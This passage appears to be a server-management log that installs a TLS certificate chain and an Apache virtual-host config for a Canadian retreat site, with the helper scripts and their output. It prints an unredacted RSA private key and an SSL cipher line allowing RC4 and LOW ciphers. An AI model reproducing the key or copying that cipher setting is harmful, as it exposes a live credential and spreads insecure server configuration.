EwNZUjEwHhcNMjYwNjE0MDUwMzQ2WhcNMjYwOTEyMDUwMzQ1WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCC0DY6TNeAE6rFJr4H5+jDcmNCS67t9PH/X4kskpxn9oEn0CF2wv8W
G74VY/wHA6qXAVn60M1jHfkTqOg2GWTm+ud4NHRgRR2r20pEzVE7dFQfqe9x0UHD
iAFwpaEkBlzg3yYUZjaFa3S1JkVc55Tgr9VKxwAaY4u0RYkJU2KXVtpBufeGx9KZ
ZTS0Vn2erf85AncVeTVHI7hv5FsjXADA4ivo7lVZyDalSoZXoEQc9o6RhGsQKAcd
C1hlztf4EYvAWvu35f6NJ74n8Lnr4pdxffKCAYKagAu+yxXaPf63od7puaAuOujv
7GIli3uxPLRT2MX6VIvy0owDiOVsO5oxAgMBAAGjggKUMIICkDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQU8IaFRtvB+uXtnMJOKpLlPeiizFAwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55
LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIx
LmkubGVuY3Iub3JnLzCBkQYDVR0RBIGJMIGGgg5zb3NyZXRyZWF0cy5jYYIUc29z
cmV0cmVhdHNjYW5hZGEuY2GCFXNvc3JldHJlYXRzY2FuYWRhLmNvbYISd3d3LnNv
c3JldHJlYXRzLmNhghh3d3cuc29zcmV0cmVhdHNjYW5hZGEuY2GCGXd3dy5zb3Ny
ZXRyZWF0c2NhbmFkYS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8xMDguY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGexLlFQgAABAMARjBEAiBrXPSwfT4sYymTo8VWGIX1RV6CplsAMhftkGOC
syOgOAIgJQr2KcRSsx5xWqKz0Nk7gvBAzMqlcja82IahlurwRfkAfQBs/lAZQ6he
qRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ7EuUbxAAgAAAUAEGc6lAQDAEYw
RAIgO5k3/ppoxKTRffH0sS066e4umRVGaI83ETLIV/h1VGoCIDcG1Mwh21KjLdk+
IoANoibeCEraNZ6+XuVgTdT6dehpMA0GCSqGSIb3DQEBCwUAA4IBAQANMkfVjDw/
hyjOfvHN4hyGI6/k+xdYBoeFQ7z3h5Ac7vd176aVT4F6Xg7I0KJ8B139ADXsQx8A
ihJOAN3Pdj41ToCCLbxvNZu5NAgPFjCWWiiQ5JDrRTuIDezFW20PkSzi0WIO7iqJ
v4AEFd/RvHtlnyRsTouNiQVkWaSkDrUbIcNrc20DRvM5xLa3TYXrPAY5Pt2r5sJg
enCojaFY6owf1US9FFXAPTkZOcDZAPF8CzHrThE+20er90Emxgt97CW8W8VQIdoX
DiHcbvDVN/vj78uzhXDq1OrJmXBnAKIkriajdDEbo1AT+XaCutgefV0sxAB+Pn40
lK/XtgSn/Acs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCC0DY6TNeAE6rF
Jr4H5+jDcmNCS67t9PH/X4kskpxn9oEn0CF2wv8WG74VY/wHA6qXAVn60M1jHfkT
qOg2GWTm+ud4NHRgRR2r20pEzVE7dFQfqe9x0UHDiAFwpaEkBlzg3yYUZjaFa3S1
JkVc55Tgr9VKxwAaY4u0RYkJU2KXVtpBufeGx9KZZTS0Vn2erf85AncVeTVHI7hv
5FsjXADA4ivo7lVZyDalSoZXoEQc9o6RhGsQKAcdC1hlztf4EYvAWvu35f6NJ74n
8Lnr4pdxffKCAYKagAu+yxXaPf63od7puaAuOujv7GIli3uxPLRT2MX6VIvy0owD
iOVsO5oxAgMBAAECgf9HmfAUuTq7wAgZIbuiWC3vzQzHnOWDGi/buE89NoKl5SeM
wz+N4e3+C/Ffg/rPXBJj1TmLL/874YwUVr/D3OJ+C5fnE88fYrV6++0K+9ca0/G3
4yxNAF0eybMAFai+Lz1nWL1fLRNqtAaNoQUWdSvoUFZPN922lAZEBkub7yhn7Tnz
6jfDEKz9kyUr7JCrOmCFJyA7+3RxrdAEY7JQvAkM/txwAbDz4s9gIJUBwE553aI4
GrsfDwHvM1JIK8kIKju1Bh7pl0ZLhB/QilixTmv1RdgTpUwvKUWMvtyCnl9KMUYY
jpjK5Eu2UF7XksFaIizG/sqQWOtuoLmk+vQrpekCgYEAuBu3RqqkvCnrBimNGQST
LY/xm3m3bjG5ratfV0lIKH7pbfwgWn3M4Kyhm42X5e9RfoEU6kffOblRoN/uvKQT
CBAoHmJag8Gla4Ul0B71PZvHziMs2S2kkvHDpmPOckbmjUS29X+IiORPADeh0STB
02/QLTXmSjlayktTB2sdnQkCgYEAteTlYGE3EcQzXkcQNhLVFUKz37JlZmP04J49
1KmPqhAhjWeuAGodHGbY863Kl8S810YfqmO6+p5+GjW7cfcjte83D7D2Pgd+0QEJ
MRUKX4SDk9w5JQ3ugcdJ0wUzs+MGkGAfxiILDIBWqn5YBKl1HraBgZgaP2MO4IIr
LsyihekCgYBovfPuM0UXe+2nCtqoQg8Nm9gD8SJngci2QkoymZGA4HsjRI6PjQST
SgODQPILMbU2eG+SviMEbyc+lEf5cIsXSkHYz3HZhcD7w7t4hTRWwZrR7vcj87Cu
nPcHYb7hCu89rbs9PjpKT0GWyQ+5seTHytQv9Hs4/Rpm/qWVEd6+KQKBgQCZNFJ+
+2MG89rQbcqZwQL5BVW79Oazdz2qc55goPEArNWV5N4KO1aJtZbGqHsbmfn02HuT
aKz0qspMCTX4p9DMTNBzxvmhBW8rW1QCo1Y5XcP1pmf7beCWLuVfd+I0gePldxFM
MSBdRzu4HvLD+ndLhy1Nmm+BNE4zi3AT2wiJAQKBgBjo9wtV+j7IAc51lEGSdzVG
NkI89kHFKRCgxvi7QvaQhDLqjMHLZ5zZXP7psl3mjW/2YkJZRPpDgy7SQ4U7g+zI
p049LmUSjpTv9kRyM0zjuJ708BBLExxwGUrFmPJqCKLqgE6mh8tCy9Ts+sr0B8SF
6f1g/Zuf+KuBhsMptB94
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:02:18: 

chmod 755 /tmp/pkp112716; /tmp/pkp112716; rm /tmp/pkp112716

2026-06-14 06:02:18: 


dir=/etc/ssl/certs


2026-06-14 06:02:18: 

PUT: /tmp/pkp454346

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:02:18: 

chmod 755 /tmp/pkp454346; /tmp/pkp454346; rm /tmp/pkp454346

2026-06-14 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 49

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-14 06:02:18: 

PUT: /tmp/pkp741524

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=sosretreatscanada_www_com.conf
TARGET=/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf= 1'
fi


2026-06-14 06:02:18: 

chmod 755 /tmp/pkp741524; /tmp/pkp741524; rm /tmp/pkp741524

2026-06-14 06:02:18: 




2026-06-14 06:02:18: 

PUT: /tmp/pkp755976

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:02:18: 

chmod 755 /tmp/pkp755976; /tmp/pkp755976; rm /tmp/pkp755976

2026-06-14 06:02:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:02:18: Establishing a connection
2026-06-14 06:02:19: 

PUT: /tmp/pkp537039

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:02:19: 

chmod 755 /tmp/pkp537039; /tmp/pkp537039; rm /tmp/pkp537039

2026-06-14 06:02:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:02:19: 

PUT: /tmp/pkp856877

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:02:19: 

chmod 755 /tmp/pkp856877; /tmp/pkp856877; rm /tmp/pkp856877

2026-06-14 06:02:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf	1691

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-14 06:02:19: 

PUT: /tmp/pkp950965

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
